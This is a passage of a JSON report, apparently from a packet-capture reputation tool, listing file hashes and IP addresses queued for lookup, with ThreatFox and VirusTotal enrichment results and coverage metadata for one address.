          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6f55075a7ffb2919c7cb2426",
          "type": "sha256",
          "value": "f32f1906df0271cc992f71e3c11c03e6b32739b0d3c4056127181806d0b3da65",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-d4205b12e5c280df3074e42e",
          "type": "sha256",
          "value": "f37feb3989cd9f1337ccd8becd3dab888fa19a06e89d904851ecfb09151cd06a",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-63873eea468570f18bd090a5",
          "type": "sha256",
          "value": "f49f38b80f1b42ea04d040dfe84b546eab5046ff1cebc46220048e81331e77af",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-70746d372691620c893bebdf",
          "type": "sha256",
          "value": "f4bdfe1a51f53263d3692ca20b33dbb8b42d23b3bc846058792ce6f3aa7042c2",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-d58d6dedd6fade0382d50bfd",
          "type": "sha256",
          "value": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6465ea3963bbfb3cc464333f",
          "type": "sha256",
          "value": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-de167e231a23028ae167072f",
          "type": "sha256",
          "value": "f61a99b580f6f7d5be6606cc9bfad8ef439a9d99502002ec26cbe10e9c1c4680",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-2ee17bfd36dea14e3e14d0d7",
          "type": "sha256",
          "value": "f67a132d9c7574f5a220c353a44a9c831f36a55de24b0205967d8c82e74cd2ac",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-fe381fbe362b7352a35f549b",
          "type": "sha256",
          "value": "f6b92f8e7a0f2820215864ea67ef68a73dfd4a8aa7c71a3c86237ea8120cad4c",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-03229dd31aeb282cc1cee744",
          "type": "sha256",
          "value": "f991a1a53ff96435a1f2d9a8fa9096da14be40631eda9f4db25752f5f6e93827",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-56c43c4ada46852b31bfe6b4",
          "type": "sha256",
          "value": "fa93c862accf27f008bdc88f5621a8cd682f07c664a536a3fdd209ce55c3845f",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a77fd274955c8744b3c3d1c3",
          "type": "sha256",
          "value": "fbc1d599972304c52bdbbb4031ec773d49f676a86c858b0720729543d7de16f0",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-d7148a16ebb364ec97a9f8d7",
          "type": "sha256",
          "value": "fcb9c5e6294ada43b98743ebcf2b19f76797de2cccf3571638fa8522dd5af218",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-9b838ef65189f32cbc5c44ee",
          "type": "sha256",
          "value": "fd392dc065349461b88b41e02c8a6376cc92a8420e9349aac77a0000170d783f",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-0f65c53d29d84b1be4886812",
          "type": "sha256",
          "value": "ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-9d4d4a92cdb5b837d024bdf8",
          "type": "ipv4",
          "value": "128.199.64.235",
          "priority": 10,
          "reasons": [
            "observed-in-capture"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-f3d1e49eb7eb8474e08974ef",
          "type": "ipv4",
          "value": "139.199.184.166",
          "priority": 100,
          "reasons": [
            "existing-evidence-candidate",
            "http_request-peer"
          ],
          "direct_checked": false,
          "checked_providers": [
            "threatfox"
          ],
          "pending_providers": [
            "virustotal"
          ],
          "retryable_providers": [
            "virustotal"
          ],
          "queue_ready": true,
          "ioc_candidate": true
        }
      ],
      "eligible_count": 151,
      "next_batch": [
        "observable-05ccf8089e7ca006c93f7a02",
        "observable-b75fd6a45e1ab6e2f356e433",
        "observable-a1034e5ee96767d3dbbb82c8",
        "observable-469e88a36e80b4f20ddeafbc",
        "observable-b529feb903aab9441cfbab5b",
        "observable-dd1923c4328ffda051966701",
        "observable-a0890aa7e09c2cff7c54d294",
        "observable-923b212e7261921a476e2d7c",
        "observable-1e756008f21a92ee63ef0255",
        "observable-6ba37358d0e9db4e2a1b8d73"
      ],
      "scope": "Query recommendations, not IOC verdicts. Partial provider coverage stays pending; cooldowns/credential failures are not completed checks. Checked means completed attempted direct providers, not all available providers. Review before external disclosure."
    },
    "assessment_sha256": "99942f5313228043962da895ef7aeff7b6375ba3eac3f6899e0dd27a2e1d1b1b"
  },
  "enrichment": {
    "items": [
      {
        "type": "ipv4",
        "value": "139.199.184.166",
        "signals": [
          {
            "basis": "No verdict: not_found",
            "actors": [],
            "source": "threatfox",
            "status": "not_found",
            "verdict": "unknown",
            "cache_hit": false,
            "queried_at": "2026-09-22T17:45:50.976812+00:00",
            "technique_ids": [],
            "context_status": "provider-assertion-not-capture-behavior-or-attribution",
            "relationship_context": [],
            "evidence_source_sha256": "44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a",
            "evidence": {
              "records": [],
              "public_note": "Bounded provider summary, not a redistribution of the complete response."
            }
          },
          {
            "basis": "No verdict: deferred-rate-limit",
            "actors": [],
            "source": "virustotal",
            "status": "deferred-rate-limit",
            "verdict": "unknown",
            "retry_at": "2026-09-22T17:49:29.781117+00:00",
            "cache_hit": false,
            "queried_at": "2026-09-22T17:45:50.973532+00:00",
            "technique_ids": [],
            "context_status": "provider-assertion-not-capture-behavior-or-attribution",
            "cooldown_scope": "shared-redis",
            "error_category": "rate_limited",
            "relationship_context": [],
            "evidence_source_sha256": "44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a",
            "evidence": {
              "records": [],
              "public_note": "Bounded provider summary, not a redistribution of the complete response."
            }
          }
        ],
        "queried_at": "2026-09-22T17:45:50.969426+00:00",
        "observable_id": "observable-f3d1e49eb7eb8474e08974ef"
      }
    ],
    "coverage": {
      "cache_hits": 0,
      "active_scans": 0,
      "batch_results": [
        {
          "status": "deferred-rate-limit",
          "provider": "virustotal",
          "observable_id": "observable-f3d1e49eb7eb8474e08974ef"
        },
        {
          "status": "not_found",
          "provider": "threatfox",
          "observable_id": "observable-f3d1e49eb7eb8474e08974ef"
        }
      ],
      "batch_targets": 1,
      "payload_uploads": 0,
      "targets_omitted": 0,
      "retained_targets": 1,
      "full_urls_disclosed": 0,
      "provider_lookups_started": 1
    },
    "updated_at": "2026-09-22T17:45:51.165137+00:00",
    "schema_version": "pcap-reputation-v1",
    "snapshot_sha256": "3033e31804b1865a707c41436a306b31cf31c83ea4722e51597e958f8f8dd4bc",
    "source_semantic_sha256": "658bd679a390ce4ba3a0cfec0e9155d91ee3f53763dbf5fcefd9f15ec7ae062b",
    "previous_snapshot_sha256": null
  },
  "artifact_download_available": true,
  "source_tlp": "TLP:CLEAR",
  "techniques": [],
  "apt_matches": [],
  "public_note": "Public derivative: full packet extraction retained; provider evidence bounded; other-session details omitted. Original snapshot hashes do not hash this serialized derivative."
}